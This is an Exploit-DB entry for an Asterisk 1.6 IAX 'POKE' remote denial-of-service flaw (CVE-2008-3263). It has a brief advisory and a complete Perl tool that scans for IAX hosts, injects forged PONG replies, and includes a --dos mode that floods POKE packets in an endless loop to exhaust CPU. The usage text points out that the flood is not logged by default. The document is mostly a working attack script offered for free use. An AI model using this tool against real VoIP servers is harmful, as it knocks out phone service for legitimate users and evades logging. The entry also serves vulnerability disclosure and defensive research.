标题: Asterisk 1.6 IAX - 'POKE' Requests Remote Denial of Service EDB-ID: 32095 CVE: 2008-3263 类型: DOS 平台: LINUX 发布日期: 2008-07-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/30321/info

Asterisk is prone to a remote denial-of-service vulnerability because it fails to handle multiple 'POKE' requests in quick succession.

Attackers can exploit this issue by sending a persistent stream of 'POKE' requests that will consume processor resources and deny service to legitimate users.

NOTE: By default, 'POKE' requests are not logged by Asterisk. 

#!/usr/bin/perl -w
#udp IAX ping discovery and injection tool
#Created: Blake Cornell
#Released under no license, use at your own free will
#
# Do not hesitate to show enthusiasm and support
#  and help develop this further.

use strict;
use IO::Socket;
use Getopt::Long;
use Net::Subnets;
use Pod::Usage;


my @target_port = (4569);
my @targets = ('127.0.0.1');

my $result = GetOptions('port|p=i' => \(my $port = ''),
   'sport|sp=i' => \(my $sport = ''),
   'eport|ep=i' => \(my $eport = ''),
   'source|sip=s' => \(my $source = ''),
   'host|h=s' => \(my $host = ''),
   'inject|in' => \(my $inject = ''),
   'dos' => \(my $dos = ''),
   'timeout|t=i' => \(my $timeout = ''),
   'dundi-check|dundi' => \(my $dundi = ''),
   'verbose|v' => \(my $verbose = ''),
   'help|?' => \(my $help = '')) or pod2usage(2);

if($help) { printUsage(); }
if($host) { @targets=@{retHosts($host)}; }
if($port) { $target_port[0] = $port; }
if($dundi) { print "DUNDI Option Scan not supported yet."; }
if($source) { print "Setting of the source IP address is only supported 
in inject mode"; }


if($inject) { 
 if($verbose) { print "INJECTION MODE"; }
 if(!@targets) {
  print "\nSet the host ( -h ) option\n";
  return 1;
 }
 for(my $i=20000;$i<=65535;$i++) {
  for(my $j=0;$j<=$#targets;$j++) {
   if($verbose) { print $targets[$j]; }
   injectIAXPoke($targets[$j],$source,$i,0);
  }
 #my($target,$source,$port,$timeout,@args)=@_;
 }
 exit;
}

if($dos) {
 while(1) {
  for(my $j=0;$j<=$#targets;$j++) {
   if($verbose) { print $targets[$j]; }
   dosIAXPoke($targets[$j],4569,$timeout);
  }
  
 }
}

if($sport ne '' && $eport ne '') { #defined doesn't work for getoptions
    #devices are always defined
 if($verbose ne '') { print "Scanning Port Range\n"; }
 if($eport < $sport) {
  my $tmp = $eport;
  $eport = $sport;
  $sport = $tmp;
 }
 if($sport < 1) { $sport = 1; }
 if($eport > 65535) { $eport = 65535; }
 if($timeout ne '' && $verbose ne '') {
  if($timeout <= 0) {
   $timeout = 1;
  }
  print "Scanning Ports $sport through $eport\n";
  print "Setting timeout to $timeout\n";
 }

 @target_port=();
 for(my $i=$sport; $i <= $eport; $i++) {
  push(@target_port,$i);
 }
 sendIAXPokes(\@targets,\@target_port);

}else{ #scanning only default port...
 sendIAXPokes(\@targets,\@target_port);
}

sub sendIAXPokes {
 my($targets_ref,$target_ports_ref,@args)=@_;

 my @targets=@{$targets_ref};
 my @target_ports=@{$target_ports_ref};

 for(my $i=0;$i<=$#targets;$i++) {
  for(my $j=0;$j<=$#target_ports;$j++) {
   
sendIAXPoke($targets[$i],$target_ports[$j],$timeout);
  }
 }
}

sub sendIAXPoke {
 my($target,$port,$timeout,@args)=@_;

 if($verbose) {
  print "Trying $target:$port\n";

 }
 socket(PING, PF_INET, SOCK_DGRAM, getprotobyname("udp"));

 my $src_call = "8000"; 
 my $dst_call = "0000";
 my $timestamp = "00000000";
 my $outbound_seq = "00";
 my $inbound_seq = "00";
 my $type = "06"; #IAX_Control
 my $iax_type = "1e"; #POKE
 my $msg = pack "H24", $src_call . $dst_call . $timestamp . 
$outbound_seq . $inbound_seq . $type . $iax_type;

 my $ipaddr = inet_aton($target);
 my $sin = sockaddr_in($port,$ipaddr);

 send(PING, $msg, 0, $sin) == length($msg) or die "cannot send to 
$target : $port : $!\n";

 my $MAXLEN = 1024;
 my $TIMEOUT = 1;
 if(defined($timeout) && $timeout ne '' && $timeout != 0) { 
#timeout of 0 hangs
        
#unanswered requests
  $TIMEOUT=$timeout;
 }
 eval {
  local $SIG{ALRM} = sub { die "alarm time out"; };
  alarm $TIMEOUT;

  while (1) {
   my $recvfrom = recv(PING, $msg, $MAXLEN, 0) or 
die "recv: $!";
   ($port, $ipaddr) = sockaddr_in($recvfrom);
   my $respaddr = inet_ntoa($ipaddr);
   print "Response from $respaddr : $port\n";
   return($respaddr,$port);
  }

 }; 
}

sub injectIAXPoke {
 my($target,$source,$port,$timeout,@args)=@_;

 socket(PING, PF_INET, SOCK_DGRAM, getprotobyname("udp"));

 my $src_call = "8000"; 
 my $dst_call = "0000";
 my $timestamp = "00000000";
 my $outbound_seq = "00";
 my $inbound_seq = "01"; #increment by one did he say?
 my $type = "06"; #IAX_Control
 my $iax_type = "03"; #PONG
 my $msg = pack "H24", $src_call . $dst_call . $timestamp . 
$outbound_seq . $inbound_seq . $type . $iax_type;

 my $targetIP = inet_aton($target);
 my $sin = sockaddr_in($port,$targetIP);

 send(PING, $msg, 0, $sin) == length($msg) or die "cannot send to 
$target : $port : $!\n";
}

sub retHosts {
 my($host,@args)=@_;
 my @addrs;
 
 if(!$host) { return ('127.0.0.1') };

 if($host =~ 
/^([\d]{1,3}).([\d]{1,3}).([\d]{1,3}).([\d]{1,3})\/([\d]{1,2})$/ && $1 
>= 0 && $1 <= 255 && $2 >= 0 && $2 <= 255 && $3 >= 0 && $3 <= 255 && $4 
>= 0 && $4 <= 255) {
     #Check to see if host is valid 
class C CIDR Address
   if($verbose) { print "Setting CIDR Address Range\n"; }
  my $sn = Net::Subnets->new;
  
  my($low,$high)=$sn->range(\$host);
  if($verbose) { print "Determined IP Ranges From $$low - 
$$high\n"; }
  return \@{ $sn->list(\($$low,$$high)) };
  
 }elsif($host =~ 
/^([\d]{1,3}).([\d]{1,3}).([\d]{1,3}).([\d]{1,3})$/ && $1 >= 0 && $1 <= 
255 && $2 >= 0 && $2 <= 255 && $3 >= 0 && $3 <= 255 && $4 >= 0 && $4 <= 
255)  {
     #Check to see if host is valid 
IP
  push(@addrs,"$1.$2.$3.$4");
 }else{
  push(@addrs,$host);
 }
 return \@addrs;
}

sub dosIAXPoke {
 my($target,$port,$timeout,@args)=@_;

 if($verbose) {
  print "Trying $target:$port\n";

 }
 socket(PING, PF_INET, SOCK_DGRAM, getprotobyname("udp"));

 my $src_call = "8000"; 
 my $dst_call = "0000";
 my $timestamp = "00000000";
 my $outbound_seq = "00";
 my $inbound_seq = "00";
 my $type = "06"; #IAX_Control
 my $iax_type = "1e"; #POKE
 my $msg = pack "H24", $src_call . $dst_call . $timestamp . 
$outbound_seq . $inbound_seq . $type . $iax_type;

 my $ipaddr = inet_aton($target);
 my $sin = sockaddr_in($port,$ipaddr);

 send(PING, $msg, 0, $sin) == length($msg) or die "cannot send to 
$target : $port : $!\n";
}


sub printUsage {
 print "$0 -h remoteorigin.com \n\t\tScans remoteorigin.com on 
default port of 4569\n";
 print "$0 -h remoteorigin.com -sp 4000 -ep 5000\n\t\tScans ports 
4000 through 5000 on server remoteorigin.com\n";
 print "$0 --source remoteorigi.com -h 127.0.0.1 
--inject\n\t\tInjects Forged Poke Replies to 127.0.0.1 from 
remoteorigin.com\n";
 print "$0 --dos\n\t\tThis will continually send IAX Poke 
packets.  This will eat up CPU cycles and isn't logged by default\n";
 exit;
} URL: https://www.exploit-db.com/exploits/32095